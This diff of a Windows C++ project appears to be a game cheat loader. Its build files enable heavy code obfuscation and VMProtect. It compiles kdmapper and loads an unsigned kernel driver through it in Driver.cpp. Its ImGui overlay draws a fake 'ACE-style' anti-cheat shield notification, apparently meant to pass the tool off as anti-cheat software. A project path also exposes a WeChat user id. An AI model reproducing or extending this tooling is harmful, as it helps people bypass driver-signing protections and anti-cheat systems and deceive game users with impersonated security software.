<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<DisableSpecificWarnings>4996</DisableSpecificWarnings>
<LanguageStandard>Default</LanguageStandard>
<AdditionalOptions>-mllvm -bcf -mllvm -bcf_prob=70 -mllvm -bcf_loop=1 -mllvm -sub -mllvm -sub_loop=1 -mllvm -fla -mllvm -split_num=1 -mllvm -aesSeed=DEADBEEFDEADCODEDEADBEEFDEADCODE</AdditionalOptions>
<BufferSecurityCheck>false</BufferSecurityCheck>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<TreatLinkerWarningAsErrors>false</TreatLinkerWarningAsErrors>
<AdditionalDependencies>d3d11.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="comm.cpp" />
<ClCompile Include="Driver.cpp" />
<ClCompile Include="driver_func.cpp" />
<ClCompile Include="Gui.cpp" />
<ClCompile Include="ImGui\imgui.cpp" />
<ClCompile Include="ImGui\imgui_draw.cpp" />
<ClCompile Include="ImGui\imgui_impl_dx11.cpp" />
<ClCompile Include="ImGui\imgui_impl_win32.cpp" />
<ClCompile Include="ImGui\imgui_tables.cpp" />
<ClCompile Include="ImGui\imgui_widgets.cpp" />
<ClCompile Include="kdmapper\kdmapper.cpp" />
<ClCompile Include="kdmapper\kd_driver.cpp" />
<ClCompile Include="kdmapper\ntstruct.cpp" />
<ClCompile Include="kdmapper\utils.cpp" />
<ClCompile Include="main.cpp" />
<ClCompile Include="Mapping.cpp" />
<ClCompile Include="server_palpit.cpp" />
<ClCompile Include="server_pipe.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="Base.h" />
<ClInclude Include="comm.h" />
<ClInclude Include="Driver.h" />
<ClInclude Include="driver_func.h" />
<ClInclude Include="Gui.h" />
<ClInclude Include="ImGui\imconfig.h" />
<ClInclude Include="ImGui\imgui.h" />
<ClInclude Include="ImGui\imgui_impl_dx11.h" />
<ClInclude Include="ImGui\imgui_impl_win32.h" />
<ClInclude Include="ImGui\imgui_internal.h" />
<ClInclude Include="ImGui\imstb_rectpack.h" />
<ClInclude Include="ImGui\imstb_textedit.h" />
<ClInclude Include="ImGui\imstb_truetype.h" />
<ClInclude Include="kdmapper\drv.h" />
<ClInclude Include="kdmapper\kdmapper.h" />
<ClInclude Include="kdmapper\kd_driver.h" />
<ClInclude Include="kdmapper\ntstruct.h" />
<ClInclude Include="kdmapper\utils.h" />
<ClInclude Include="Mapping.h" />
<ClInclude Include="resource.h" />
<ClInclude Include="server_palpit.h" />
<ClInclude Include="server_pipe.h" />
<ClInclude Include="Vmp\Vmp.h" />
<ClInclude Include="Vmp\VMProtectSDK.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Anit-Cheat_EXE.rc" />
</ItemGroup>
<ItemGroup>
<Image Include="D:\Apps\Tencent\WeChat\Documents\xwechat_files\wxid_tmmv70cpqylp12_ec35\msg\file\2026-07\图层-5.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,184 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
<Filter Include="kdmpaer">
<UniqueIdentifier>{20724fc8-4769-4482-a7db-5af8e4d19f75}</UniqueIdentifier>
</Filter>
<Filter Include="Vmp">
<UniqueIdentifier>{b4904683-791d-437b-948f-96a0a413d118}</UniqueIdentifier>
</Filter>
<Filter Include="Driver">
<UniqueIdentifier>{5c551474-28ae-4fe2-9ee6-54819f554d88}</UniqueIdentifier>
</Filter>
<Filter Include="Mapping">
<UniqueIdentifier>{48b29237-d19e-4cce-8bd3-577a98dd5be2}</UniqueIdentifier>
</Filter>
<Filter Include="comm">
<UniqueIdentifier>{dd44ac39-a7fb-4eec-8788-f6951a9ea85f}</UniqueIdentifier>
</Filter>
<Filter Include="palpit">
<UniqueIdentifier>{1472b722-9fe0-4049-abd6-81b3d536d78a}</UniqueIdentifier>
</Filter>
<Filter Include="pipe">
<UniqueIdentifier>{ff137c34-0307-4719-82f3-ddf570188059}</UniqueIdentifier>
</Filter>
<Filter Include="EspGui">
<UniqueIdentifier>{11cc3256-8c5c-4ca1-8c9e-4b11f12fad5d}</UniqueIdentifier>
</Filter>
<Filter Include="EspGui\ImGui">
<UniqueIdentifier>{a33f7a19-8c02-4e2f-8edc-0294dc92cbce}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="kdmapper\kd_driver.cpp">
<Filter>kdmpaer</Filter>
</ClCompile>
<ClCompile Include="kdmapper\kdmapper.cpp">
<Filter>kdmpaer</Filter>
</ClCompile>
<ClCompile Include="kdmapper\ntstruct.cpp">
<Filter>kdmpaer</Filter>
</ClCompile>
<ClCompile Include="kdmapper\utils.cpp">
<Filter>kdmpaer</Filter>
</ClCompile>
<ClCompile Include="comm.cpp">
<Filter>comm</Filter>
</ClCompile>
<ClCompile Include="Driver.cpp">
<Filter>Driver</Filter>
</ClCompile>
<ClCompile Include="driver_func.cpp">
<Filter>Driver</Filter>
</ClCompile>
<ClCompile Include="Mapping.cpp">
<Filter>Mapping</Filter>
</ClCompile>
<ClCompile Include="server_palpit.cpp">
<Filter>palpit</Filter>
</ClCompile>
<ClCompile Include="server_pipe.cpp">
<Filter>pipe</Filter>
</ClCompile>
<ClCompile Include="ImGui\imgui_draw.cpp">
<Filter>EspGui\ImGui</Filter>
</ClCompile>
<ClCompile Include="ImGui\imgui_impl_dx11.cpp">
<Filter>EspGui\ImGui</Filter>
</ClCompile>
<ClCompile Include="ImGui\imgui_impl_win32.cpp">
<Filter>EspGui\ImGui</Filter>
</ClCompile>
<ClCompile Include="ImGui\imgui_tables.cpp">
<Filter>EspGui\ImGui</Filter>
</ClCompile>
<ClCompile Include="ImGui\imgui_widgets.cpp">
<Filter>EspGui\ImGui</Filter>
</ClCompile>
<ClCompile Include="ImGui\imgui.cpp">
<Filter>EspGui\ImGui</Filter>
</ClCompile>
<ClCompile Include="Gui.cpp">
<Filter>EspGui</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="Base.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="kdmapper\kd_driver.h">
<Filter>kdmpaer</Filter>
</ClInclude>
<ClInclude Include="kdmapper\kdmapper.h">
<Filter>kdmpaer</Filter>
</ClInclude>
<ClInclude Include="kdmapper\ntstruct.h">
<Filter>kdmpaer</Filter>
</ClInclude>
<ClInclude Include="kdmapper\utils.h">
<Filter>kdmpaer</Filter>
</ClInclude>
<ClInclude Include="kdmapper\drv.h">
<Filter>kdmpaer</Filter>
</ClInclude>
<ClInclude Include="Vmp\VMProtectSDK.h">
<Filter>Vmp</Filter>
</ClInclude>
<ClInclude Include="Vmp\Vmp.h">
<Filter>Vmp</Filter>
</ClInclude>
<ClInclude Include="comm.h">
<Filter>comm</Filter>
</ClInclude>
<ClInclude Include="Driver.h">
<Filter>Driver</Filter>
</ClInclude>
<ClInclude Include="driver_func.h">
<Filter>Driver</Filter>
</ClInclude>
<ClInclude Include="Mapping.h">
<Filter>Mapping</Filter>
</ClInclude>
<ClInclude Include="server_palpit.h">
<Filter>palpit</Filter>
</ClInclude>
<ClInclude Include="server_pipe.h">
<Filter>pipe</Filter>
</ClInclude>
<ClInclude Include="resource.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="ImGui\imgui.h">
<Filter>EspGui\ImGui</Filter>
</ClInclude>
<ClInclude Include="ImGui\imgui_impl_dx11.h">
<Filter>EspGui\ImGui</Filter>
</ClInclude>
<ClInclude Include="ImGui\imgui_impl_win32.h">
<Filter>EspGui\ImGui</Filter>
</ClInclude>
<ClInclude Include="ImGui\imgui_internal.h">
<Filter>EspGui\ImGui</Filter>
</ClInclude>
<ClInclude Include="ImGui\imstb_rectpack.h">
<Filter>EspGui\ImGui</Filter>
</ClInclude>
<ClInclude Include="ImGui\imstb_textedit.h">
<Filter>EspGui\ImGui</Filter>
</ClInclude>
<ClInclude Include="ImGui\imstb_truetype.h">
<Filter>EspGui\ImGui</Filter>
</ClInclude>
<ClInclude Include="ImGui\imconfig.h">
<Filter>EspGui\ImGui</Filter>
</ClInclude>
<ClInclude Include="Gui.h">
<Filter>EspGui</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Anit-Cheat_EXE.rc">
<Filter>资源文件</Filter>
</ResourceCompile>
</ItemGroup>
<ItemGroup>
<Image Include="D:\Apps\Tencent\WeChat\Documents\xwechat_files\wxid_tmmv70cpqylp12_ec35\msg\file\2026-07\图层-5.ico">
<Filter>资源文件</Filter>
</Image>
</ItemGroup>
</Project>
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
File diff suppressed because it is too large Load Diff
+16
View File
@@ -0,0 +1,16 @@
#pragma once
#include <Windows.h>
#include <iostream>
#include <string>
#include <mutex>
#include <vector>
#include <d3d11.h>
#include "ImGui/imgui.h"
#include "ImGui/imgui_impl_dx11.h"
#include "ImGui/imgui_impl_win32.h"
#include "Vmp/Vmp.h"
#include "XorStr.h"
using namespace std;
+43
View File
@@ -0,0 +1,43 @@
#include "Driver.h"
#include "driver_func.h"
Driver* Driver::instance = nullptr;
auto Driver::fn_get_instance() -> Driver*
{
if (!instance) {
instance = new Driver;
driver_func::init();
}
return instance;
}
auto Driver::driver_install() -> BOOL
{
if (!is_driver_load())
{
if (driver_func::kdmaper_load_driver())
{
return TRUE;
}
}
return FALSE;
}
auto Driver::is_driver_load() -> BOOL
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
CMD_COMM data;
data.CommID = DRIVER_COOM_TYPE::DRIVER_COMM_TEST;
data.status = (DWORD64)&status;
driver_func::driver_comm_func(&data, sizeof(data));
return NT_SUCCESS(status);
}
+26
View File
@@ -0,0 +1,26 @@
#pragma once
#ifndef DRIVER_H
#define DRIVER_H
#include "Base.h"
#include "driver_func.h"
class Driver
{
public:
static auto fn_get_instance()->Driver*;
//驱动加载
auto driver_install()->BOOL;
//判断是否加载驱动
auto is_driver_load()->BOOL;
private:
static Driver* instance;
};
#endif // !DRIVER_H
+567
View File
@@ -0,0 +1,567 @@
#include "Gui.h"
#include <wincodec.h>
#include "shield_image_data.h"
static ID3D11Device* g_pd3dDevice = nullptr;
static ID3D11DeviceContext* g_pd3dDeviceContext = nullptr;
static IDXGISwapChain* g_pSwapChain = nullptr;
static bool g_SwapChainOccluded = false;
static UINT g_ResizeWidth = 0, g_ResizeHeight = 0;
static ID3D11RenderTargetView* g_mainRenderTargetView = nullptr;
static HWND g_OverlayHwnd = nullptr;
static ID3D11ShaderResourceView* g_ShieldTexture = nullptr;
static int g_ShieldWidth = 0;
static int g_ShieldHeight = 0;
static double g_LoaderStartTime = -1.0;
static bool g_ComInitialized = false;
struct DecodedImage
{
int width = 0;
int height = 0;
std::vector<unsigned char> rgba;
};
// Forward declare message handler from imgui_impl_win32.cpp
extern IMGUI_IMPL_API LRESULT ImGui_ImplWin32_WndProcHandler(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
static float Clamp01(float value)
{
return value < 0.0f ? 0.0f : (value > 1.0f ? 1.0f : value);
}
static float SmoothStep01(float value)
{
value = Clamp01(value);
return value * value * (3.0f - 2.0f * value);
}
static bool DecodePngFromMemory(const unsigned char* data, size_t data_size, DecodedImage& image)
{
IWICImagingFactory* factory = nullptr;
IWICStream* stream = nullptr;
IWICBitmapDecoder* decoder = nullptr;
IWICBitmapFrameDecode* frame = nullptr;
IWICFormatConverter* converter = nullptr;
UINT width = 0;
UINT height = 0;
bool result = false;
if (FAILED(CoCreateInstance(CLSID_WICImagingFactory, nullptr, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&factory))))
goto cleanup;
if (FAILED(factory->CreateStream(&stream)))
goto cleanup;
if (FAILED(stream->InitializeFromMemory(const_cast<BYTE*>(data), static_cast<DWORD>(data_size))))
goto cleanup;
if (FAILED(factory->CreateDecoderFromStream(stream, nullptr, WICDecodeMetadataCacheOnLoad, &decoder)))
goto cleanup;
if (FAILED(decoder->GetFrame(0, &frame)))
goto cleanup;
if (FAILED(frame->GetSize(&width, &height)))
goto cleanup;
if (FAILED(factory->CreateFormatConverter(&converter)))
goto cleanup;
if (FAILED(converter->Initialize(
frame,
GUID_WICPixelFormat32bppRGBA,
WICBitmapDitherTypeNone,
nullptr,
0.0,
WICBitmapPaletteTypeCustom)))
{
goto cleanup;
}
image.width = static_cast<int>(width);
image.height = static_cast<int>(height);
image.rgba.resize(static_cast<size_t>(width) * static_cast<size_t>(height) * 4);
if (FAILED(converter->CopyPixels(
nullptr,
width * 4,
static_cast<UINT>(image.rgba.size()),
image.rgba.data())))
{
goto cleanup;
}
result = true;
cleanup:
if (converter) converter->Release();
if (frame) frame->Release();
if (decoder) decoder->Release();
if (stream) stream->Release();
if (factory) factory->Release();
return result;
}
static bool CreateTextureFromRgba(const DecodedImage& image, ID3D11ShaderResourceView** out_srv)
{
if (!g_pd3dDevice || image.rgba.empty() || image.width <= 0 || image.height <= 0)
return false;
D3D11_TEXTURE2D_DESC desc;
ZeroMemory(&desc, sizeof(desc));
desc.Width = static_cast<UINT>(image.width);
desc.Height = static_cast<UINT>(image.height);
desc.MipLevels = 1;
desc.ArraySize = 1;
desc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;
desc.SampleDesc.Count = 1;
desc.Usage = D3D11_USAGE_DEFAULT;
desc.BindFlags = D3D11_BIND_SHADER_RESOURCE;
D3D11_SUBRESOURCE_DATA sub_resource;
ZeroMemory(&sub_resource, sizeof(sub_resource));
sub_resource.pSysMem = image.rgba.data();
sub_resource.SysMemPitch = static_cast<UINT>(image.width * 4);
ID3D11Texture2D* texture = nullptr;
if (FAILED(g_pd3dDevice->CreateTexture2D(&desc, &sub_resource, &texture)))
return false;
D3D11_SHADER_RESOURCE_VIEW_DESC srv_desc;
ZeroMemory(&srv_desc, sizeof(srv_desc));
srv_desc.Format = desc.Format;
srv_desc.ViewDimension = D3D11_SRV_DIMENSION_TEXTURE2D;
srv_desc.Texture2D.MipLevels = 1;
HRESULT hr = g_pd3dDevice->CreateShaderResourceView(texture, &srv_desc, out_srv);
texture->Release();
return SUCCEEDED(hr);
}
static void RemoveNearBlackBackground(DecodedImage& image)
{
for (size_t i = 0; i + 3 < image.rgba.size(); i += 4)
{
unsigned char r = image.rgba[i + 0];
unsigned char g = image.rgba[i + 1];
unsigned char b = image.rgba[i + 2];
unsigned char max_channel = r > g ? r : g;
max_channel = max_channel > b ? max_channel : b;
if (r < 32 && g < 32 && b < 32)
{
image.rgba[i + 3] = 0;
}
else if (max_channel < 58)
{
float t = (static_cast<float>(max_channel) - 32.0f) / 26.0f;
t = Clamp01(t);
image.rgba[i + 3] = static_cast<unsigned char>(static_cast<float>(image.rgba[i + 3]) * t);
}
}
}
static bool LoadShieldTextureFromGlobalMemory()
{
DecodedImage image;
if (!DecodePngFromMemory(g_ShieldPngData, sizeof(g_ShieldPngData), image))
return false;
RemoveNearBlackBackground(image);
if (!CreateTextureFromRgba(image, &g_ShieldTexture))
return false;
g_ShieldWidth = image.width;
g_ShieldHeight = image.height;
return true;
}
static void SetupTransparentOverlayWindow(HWND hwnd)
{
LONG_PTR ex_style = ::GetWindowLongPtrW(hwnd, GWL_EXSTYLE);
ex_style |= WS_EX_LAYERED | WS_EX_TOPMOST | WS_EX_TOOLWINDOW;
::SetWindowLongPtrW(hwnd, GWL_EXSTYLE, ex_style);
// Pure black pixels become transparent. Global alpha is used for fade in/out
// to avoid blending image edges into the black backbuffer.
::SetLayeredWindowAttributes(hwnd, RGB(0, 0, 0), 255, LWA_COLORKEY | LWA_ALPHA);
}
static void CleanupShieldTexture()
{
if (g_ShieldTexture)
{
g_ShieldTexture->Release();
g_ShieldTexture = nullptr;
}
g_ShieldWidth = 0;
g_ShieldHeight = 0;
}
static bool DrawAceStyleLoader()
{
ImGuiViewport* viewport = ImGui::GetMainViewport();
ImDrawList* draw = ImGui::GetBackgroundDrawList();
ImVec2 vp_pos = viewport->Pos;
ImVec2 vp_size = viewport->Size;
if (!g_ShieldTexture || g_ShieldWidth <= 0 || g_ShieldHeight <= 0)
return false;
if (g_LoaderStartTime < 0.0)
g_LoaderStartTime = ImGui::GetTime();
const float fade_in_seconds = 1.0f;
const float glow_seconds = 3.0f;
const float hold_seconds = 1.0f;
const float fade_out_seconds = 1.0f;
const float fade_out_start = fade_in_seconds + glow_seconds + hold_seconds;
const float close_time = fade_out_start + fade_out_seconds;
const float elapsed = static_cast<float>(ImGui::GetTime() - g_LoaderStartTime);
const float fade_in = SmoothStep01(elapsed / fade_in_seconds);
const float fade_out = elapsed <= fade_out_start ? 1.0f : 1.0f - SmoothStep01((elapsed - fade_out_start) / fade_out_seconds);
const float fade = Clamp01(fade_in * fade_out);
const BYTE window_alpha = static_cast<BYTE>(255.0f * fade);
if (g_OverlayHwnd)
::SetLayeredWindowAttributes(g_OverlayHwnd, RGB(0, 0, 0), window_alpha, LWA_COLORKEY | LWA_ALPHA);
const ImVec2 uv0(0.0f, 0.0f);
const ImVec2 uv1(1.0f, 1.0f);
const float texture_aspect = static_cast<float>(g_ShieldHeight) / static_cast<float>(g_ShieldWidth);
const float wanted_width = vp_size.x * 0.34f;
float image_width = wanted_width < 420.0f ? wanted_width : 420.0f;
if (image_width < 300.0f)
image_width = 300.0f;
const float image_height = image_width * texture_aspect;
RECT work_area;
work_area.left = 0;
work_area.top = 0;
work_area.right = static_cast<LONG>(vp_size.x);
work_area.bottom = static_cast<LONG>(vp_size.y);
::SystemParametersInfoW(SPI_GETWORKAREA, 0, &work_area, 0);
const float visible_right = 568.0f / 601.0f;
const float visible_bottom = 215.0f / 254.0f;
const float margin_x = 20.0f;
const float margin_y = 8.0f;
ImVec2 image_pos(
vp_pos.x + static_cast<float>(work_area.right) - image_width * visible_right - margin_x,
vp_pos.y + static_cast<float>(work_area.bottom) - image_height * visible_bottom - margin_y);
ImVec2 image_end(image_pos.x + image_width, image_pos.y + image_height);
draw->AddImage(
g_ShieldTexture,
image_pos,
image_end,
uv0,
uv1,
IM_COL32(255, 255, 255, 255));
const float glow_elapsed = elapsed - fade_in_seconds;
if (glow_elapsed < 0.0f)
return false;
const float sweep_t = SmoothStep01(glow_elapsed / glow_seconds);
const int glow_alpha = glow_elapsed <= glow_seconds ? static_cast<int>(95.0f * fade_out) : 0;
const int edge_alpha = glow_elapsed <= glow_seconds ? static_cast<int>(178.0f * fade_out) : 0;
const int core_alpha = glow_elapsed <= glow_seconds ? static_cast<int>(238.0f * fade_out) : 0;
// Restrict the ACE-style glow to the blue rectangular notification area.
const ImVec2 panel_pos(
image_pos.x + image_width * (183.0f / 601.0f),
image_pos.y + image_height * (50.0f / 254.0f));
const ImVec2 panel_end(
image_pos.x + image_width * (568.0f / 601.0f),
image_pos.y + image_height * (200.0f / 254.0f));
const float panel_width = panel_end.x - panel_pos.x;
const float panel_height = panel_end.y - panel_pos.y;
const float beam_width = panel_width * 0.18f;
const float beam_x = panel_pos.x - beam_width * 1.15f + (panel_width + beam_width * 2.30f) * sweep_t;
const float beam_slant = panel_width * 0.17f;
draw->PushClipRect(panel_pos, panel_end, true);
const ImVec2 glow_top(beam_x - beam_width * 0.30f, panel_pos.y);
const ImVec2 glow_bottom(beam_x + beam_slant - beam_width * 0.30f, panel_end.y);
draw->AddLine(glow_top, glow_bottom, IM_COL32(45, 220, 255, glow_alpha), 32.0f);
draw->AddLine(glow_top, glow_bottom, IM_COL32(115, 240, 255, edge_alpha), 13.0f);
const ImVec2 core_top(beam_x, panel_pos.y);
const ImVec2 core_bottom(beam_x + beam_slant, panel_end.y);
draw->AddLine(core_top, core_bottom, IM_COL32(245, 255, 255, core_alpha), 3.0f);
const ImVec2 side_top(beam_x + beam_width * 0.18f, panel_pos.y);
const ImVec2 side_bottom(beam_x + beam_slant + beam_width * 0.18f, panel_end.y);
draw->AddLine(side_top, side_bottom, IM_COL32(175, 250, 255, edge_alpha), 7.0f);
draw->PopClipRect();
return elapsed >= close_time;
}
namespace Gui
{
auto MessageDispatch() -> void;
bool CreateDeviceD3D(HWND hWnd);
void CleanupDeviceD3D();
void CreateRenderTarget();
void CleanupRenderTarget();
LRESULT WINAPI WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
WNDCLASSEXW wc = { sizeof(wc), CS_CLASSDC, WndProc, 0L, 0L, GetModuleHandle(nullptr), nullptr, nullptr, nullptr, nullptr, L"Esp Style Loader", nullptr };
auto CreateGuiWindow() -> BOOL
{
HRESULT com_hr = CoInitializeEx(nullptr, COINIT_MULTITHREADED);
g_ComInitialized = SUCCEEDED(com_hr);
ImGui_ImplWin32_EnableDpiAwareness();
float main_scale = ImGui_ImplWin32_GetDpiScaleForMonitor(::MonitorFromPoint(POINT{ 0, 0 }, MONITOR_DEFAULTTOPRIMARY));
::RegisterClassExW(&wc);
int screen_width = ::GetSystemMetrics(SM_CXSCREEN);
int screen_height = ::GetSystemMetrics(SM_CYSCREEN);
HWND hwnd = ::CreateWindowExW(
WS_EX_TOPMOST | WS_EX_LAYERED | WS_EX_TRANSPARENT,
wc.lpszClassName,
L"Esp Style Loader",
WS_POPUP,
0,
0,
screen_width,
screen_height,
nullptr,
nullptr,
wc.hInstance,
nullptr);
g_OverlayHwnd = hwnd;
::SetWindowPos(
hwnd,
HWND_TOPMOST,
0,
0,
screen_width,
screen_height,
SWP_NOACTIVATE | SWP_SHOWWINDOW);
// Initialize Direct3D
if (!CreateDeviceD3D(hwnd))
{
CleanupDeviceD3D();
::UnregisterClassW(wc.lpszClassName, wc.hInstance);
if (g_ComInitialized)
CoUninitialize();
return FALSE;
}
SetupTransparentOverlayWindow(hwnd);
if (!LoadShieldTextureFromGlobalMemory())
{
CleanupDeviceD3D();
::DestroyWindow(hwnd);
::UnregisterClassW(wc.lpszClassName, wc.hInstance);
if (g_ComInitialized)
CoUninitialize();
return 1;
}
// Pure black pixels become transparent. Global alpha is used for fade in/out
// to avoid blending image edges into the black backbuffer.
// Show the window
::ShowWindow(hwnd, SW_SHOW);
::UpdateWindow(hwnd);
// Setup Dear ImGui context
IMGUI_CHECKVERSION();
ImGui::CreateContext();
ImGuiIO& io = ImGui::GetIO(); (void)io;
io.ConfigFlags |= ImGuiConfigFlags_NavEnableKeyboard;
io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad;
// Setup Dear ImGui style
ImGui::StyleColorsDark();
// Setup scaling
ImGuiStyle& style = ImGui::GetStyle();
style.ScaleAllSizes(main_scale);
style.FontScaleDpi = main_scale;
// Setup Platform/Renderer backends
ImGui_ImplWin32_Init(hwnd);
ImGui_ImplDX11_Init(g_pd3dDevice, g_pd3dDeviceContext);
MessageDispatch();
//CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MessageDispatch, NULL, 0, NULL);
return TRUE;
}
auto MessageDispatch() -> void
{
bool done = false;
while (!done)
{
MSG msg;
while (::PeekMessage(&msg, nullptr, 0U, 0U, PM_REMOVE))
{
::TranslateMessage(&msg);
::DispatchMessage(&msg);
if (msg.message == WM_QUIT)
done = true;
}
if (done)
break;
if (g_SwapChainOccluded && g_pSwapChain->Present(0, DXGI_PRESENT_TEST) == DXGI_STATUS_OCCLUDED)
{
::Sleep(10);
continue;
}
g_SwapChainOccluded = false;
if (g_ResizeWidth != 0 && g_ResizeHeight != 0)
{
CleanupRenderTarget();
g_pSwapChain->ResizeBuffers(0, g_ResizeWidth, g_ResizeHeight, DXGI_FORMAT_UNKNOWN, 0);
g_ResizeWidth = g_ResizeHeight = 0;
CreateRenderTarget();
}
ImGui_ImplDX11_NewFrame();
ImGui_ImplWin32_NewFrame();
ImGui::NewFrame();
if (DrawAceStyleLoader())
break;
ImGui::Render();
const float clear_color_with_alpha[4] = { 0.0f, 0.0f, 0.0f, 1.00f };
g_pd3dDeviceContext->OMSetRenderTargets(1, &g_mainRenderTargetView, nullptr);
g_pd3dDeviceContext->ClearRenderTargetView(g_mainRenderTargetView, clear_color_with_alpha);
ImGui_ImplDX11_RenderDrawData(ImGui::GetDrawData());
HRESULT hr = g_pSwapChain->Present(1, 0);
g_SwapChainOccluded = (hr == DXGI_STATUS_OCCLUDED);
}
CleanupShieldTexture();
ImGui_ImplDX11_Shutdown();
ImGui_ImplWin32_Shutdown();
ImGui::DestroyContext();
CleanupDeviceD3D();
::DestroyWindow(g_OverlayHwnd);
::UnregisterClassW(wc.lpszClassName, wc.hInstance);
if (g_ComInitialized)
CoUninitialize();
}
// Helper functions
bool CreateDeviceD3D(HWND hWnd)
{
DXGI_SWAP_CHAIN_DESC sd;
ZeroMemory(&sd, sizeof(sd));
sd.BufferCount = 2;
sd.BufferDesc.Width = 0;
sd.BufferDesc.Height = 0;
sd.BufferDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;
sd.BufferDesc.RefreshRate.Numerator = 60;
sd.BufferDesc.RefreshRate.Denominator = 1;
sd.Flags = DXGI_SWAP_CHAIN_FLAG_ALLOW_MODE_SWITCH;
sd.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT;
sd.OutputWindow = hWnd;
sd.SampleDesc.Count = 1;
sd.SampleDesc.Quality = 0;
sd.Windowed = TRUE;
sd.SwapEffect = DXGI_SWAP_EFFECT_DISCARD;
UINT createDeviceFlags = 0;
D3D_FEATURE_LEVEL featureLevel;
const D3D_FEATURE_LEVEL featureLevelArray[2] = { D3D_FEATURE_LEVEL_11_0, D3D_FEATURE_LEVEL_10_0, };
HRESULT res = D3D11CreateDeviceAndSwapChain(nullptr, D3D_DRIVER_TYPE_HARDWARE, nullptr, createDeviceFlags, featureLevelArray, 2, D3D11_SDK_VERSION, &sd, &g_pSwapChain, &g_pd3dDevice, &featureLevel, &g_pd3dDeviceContext);
if (res == DXGI_ERROR_UNSUPPORTED)
res = D3D11CreateDeviceAndSwapChain(nullptr, D3D_DRIVER_TYPE_WARP, nullptr, createDeviceFlags, featureLevelArray, 2, D3D11_SDK_VERSION, &sd, &g_pSwapChain, &g_pd3dDevice, &featureLevel, &g_pd3dDeviceContext);
if (res != S_OK)
return false;
CreateRenderTarget();
return true;
}
void CleanupDeviceD3D()
{
CleanupRenderTarget();
if (g_pSwapChain) { g_pSwapChain->Release(); g_pSwapChain = nullptr; }
if (g_pd3dDeviceContext) { g_pd3dDeviceContext->Release(); g_pd3dDeviceContext = nullptr; }
if (g_pd3dDevice) { g_pd3dDevice->Release(); g_pd3dDevice = nullptr; }
}
void CreateRenderTarget()
{
ID3D11Texture2D* pBackBuffer;
g_pSwapChain->GetBuffer(0, IID_PPV_ARGS(&pBackBuffer));
g_pd3dDevice->CreateRenderTargetView(pBackBuffer, nullptr, &g_mainRenderTargetView);
pBackBuffer->Release();
}
void CleanupRenderTarget()
{
if (g_mainRenderTargetView) { g_mainRenderTargetView->Release(); g_mainRenderTargetView = nullptr; }
}
// Win32 message handler
